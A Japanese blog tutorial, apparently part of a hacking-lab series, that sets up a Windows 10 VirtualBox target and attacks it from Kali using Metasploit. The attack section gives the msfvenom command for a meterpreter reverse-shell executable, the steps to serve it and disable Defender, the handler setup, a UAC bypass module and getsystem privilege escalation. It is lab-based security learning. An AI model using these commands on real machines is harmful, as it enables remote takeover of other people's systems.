【ハッキング・ラボ⑨】Windows10をハッキングする〜Metasploit〜

ターゲット端末にWindows10を導入し、初期設定を行います。
さらにMetasploitを使ってハッキングをしていきます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7
`ゲストOS3`：Windows10

攻撃端末はゲストOS1、ターゲット端末はゲストOS3です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS3が10.0.0.107です。



## Windows10の導入
Windows10を導入していきます。


### isoファイルのダウンロード
Kali LinuxやWindows7はovaファイルをインポートしましたが、今回はisoファイルからブートしてインポートします。
以下のURLからisoファイルをダウンロードします。
[https://www.microsoft.com/ja-jp/software-download/windows10](https://www.microsoft.com/ja-jp/software-download/windows10)

「ツールを今すぐダウンロード」ボタンを押して、メディア作成ツールをダウンロードします。

メディア作成ツールを実行します。

ライセンス条項を確認して、「同意する」ボタンを押します。

「別のPCのインストールメディアを作成する」を選択して、「次へ」ボタンを押します。

以下の設定で「次へ」ボタンを押します。
<img width="600" alt="hacking-lab-part9-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/08a69c86-63cc-04dd-5a94-c0ee83d32863.jpeg">

「ISOファイル」を選択して、「次へ」ボタンを押します。

isoファイルの保存場所を指定します。
ファイル名はWindows10.isoとします。保存場所を指定すると、ダウンロードが開始されます。


### 仮想マシンの構築
VirtualBoxを起動して、「仮想マシン」→「新規」を選び、以下の設定で「次へ」ボタンを押します。
<img width="300" alt="hacking-lab-part9-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/2abce423-fc8b-b2b5-4684-0e8554fd1b08.jpeg">

メモリーサイズは2Gバイトとし、「次へ」ボタンを押します。

「仮想ハードディスクを作成する」を選び、「作成」ボタンを押します。

「VDI (VirtualBox Disk Image)」を選び、「次へ」ボタンを押します。

「可変サイズ」を選び、「次へ」ボタンを押します。

ファイルの場所とサイズはデフォルトのままで「作成」ボタンを押します。


### Windows10のインストール
空の仮想マシンができたので、Windows10をインストールしていきます。

Windows10の仮想マシンを起動すると、起動ハードディスクを選択する画面が出るので、ダウンロードしたisoファイルを指定します。
Windows Boot Managerでは64bitを選択します。
<img width="300" alt="hacking-lab-part9-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/6c0c31f9-ebe2-85c7-cbf1-22babe08fbb3.jpeg">

Windows10のインストーラーが起動しますので、ガイドに従ってインストールを完了させます。

インストールが完了したら、「設定」→「ストレージ」からisoファイルの割り当てを除去しておきます。
<img width="600" alt="hacking-lab-part9-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/97b93175-adf2-3329-2995-714d90367bbc.jpeg">



## Windows10の初期設定
Windows10の初期設定を行っていきます。


### Guest Additionsのインストール
仮想マシンメニューの「デバイス」→「Guest Additions CDイメージの挿入」から「VBoxWindowsAdditions.exeの実行」を選び、インストールします。

なお、「設定」→「ストレージ」から空のディスクを割り当てておかないとエラーが出るので、事前に割り当てておきます。
<img width="600" alt="hacking-lab-part9-5" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/34366a86-4c61-2bf4-2cb4-7521f7a6ab64.jpeg">


### 仮想マシンの設定
「設定」→「一般」の「高度」タブから「クリップボードの共有」と「ドラッグ＆ドロップ」を「双方向」にします。

「設定」→「システム」の「マザーボード」タブから「ICH9」を選びます。

「設定」→「ネットワーク」でアダプター1にNAT、アダプター2にホストオンリーアダプターを割り当てます。


### ネットワーク確認
Windows10を起動します。  
コマンドプロンプトでipconfigコマンドを実行して、IPアドレスが割り当てられていることを確認します。
<img width="600" alt="hacking-lab-part9-6" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/f2e6821b-14be-bfc0-7089-e83377013863.jpeg">

Windows10もPingの応答を返さないようになっているので、「コントロールパネル」→「システムとセキュリティ」→「Windows Defender  ファイアウォール」→「詳細設定」→「受信の規則」→「ファイルとプリンターの共有（エコー要求 - ICMPv4受信）」から「ドメイン」、「プライベート, パブリック」を右クリックで「規則の有効化」を選びます。

ここまで完了したら、pingコマンドでNAT及びホストオンリーネットワークの疎通確認を行います。



## Metasploitを使ってハッキングをする
ここからはMetasploitを使ってハッキングを行っていきます。


### ペイロードの作成
Kali Linuxを起動して、ペイロードを作成します。

```
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil2.exe
```

Windows10でevil2.exeをダウンロードできるように公開用ディレクトリに移動します。

```
# cp /home/kali/Desktop/evil2.exe /var/www/html/share/
# service apache2 restart
```


### ペイロードのダウンロード
Windows10側で`http://10.0.0.2/share`にアクセスしてevil2.exeをダウンロードします。

しかし、ダウンロードしようとしても、Windows Defender Antivirusに検知され、ダウンロードできません。
<img width="600" alt="hacking-lab-part9-7" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/686654fc-8c1b-849b-6f59-bf34487b8b55.jpeg">

なので、「設定」→「更新とセキュリティ」→「Windows セキュリティ」→
「ウイルスと脅威の防止」→「ウイルスと脅威の防止の設定」→「設定の管理」から「リアルタイム保護」をオフにします。

ダウンロードがうまくいったので、デスクトップに配置します。


### リバースシェル接続
まず、Kali Linuxでリバースシェルを待ち受けます。
msfプロンプトで以下のコマンドを実行してリバースシェル接続を行います。

```:msf5
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit -j -z
```

Windows10でペイロードを実行し、リバースシェル接続を行います。

まず、リアルタイム保護をオンにした状態で実行してみます。
すると、以下のようなダイアログが表示され、接続に失敗することがわかります。
<img width="600" alt="hacking-lab-part9-8" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/4223175f-dd1d-f1be-f5a0-1266d21ac8b8.jpeg">

次に、リアルタイム保護をオフにした状態で実行すると、Kali Linux側でセッションが確立しました。
<img width="600" alt="hacking-lab-part9-9" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/4d86722e-d531-98ac-3723-fad8bfe43154.jpeg">

ここまでを見てみると、Windows10はWindows7と比較してセキュリティが向上していることがわかります。


### SYSTEM権限の奪取
ターゲット端末に攻撃をするためにSYSTEM権限の奪取を試みます。
現在、セッションは確立していますが、UAC機能によって権限昇格に失敗します。
そこで、Windows7のときと同様にUAC機能をバイパスするモジュールを実行して、権限昇格を試みます。

msfプロンプトでsearchコマンドを実行して、「Rankがexcellent」かつ「日時が新しい」モジュールを探します。

ここではexploit/windows/local/bypassuac_silentcleanupモジュールを使用します。

```:msf5
> use exploit/windows/local/bypassuac_silentcleanup
```

ターゲットを確認します。

```:msf5
> show targets
```

ターゲットは0、セッションは1として、以下を実行します。

```:msf5
> set TARGET 0
> set SESSION 1
> set payload windows/x64/meterpreter/reverse_https
> set LHOST 10.0.0.2
> exploit
```

接続が成功すると、Meterpreterプロンプトが返ってきます。

以下を実行して、SYSTEM権限を奪取します。

```:meterpreter
> getsystem
```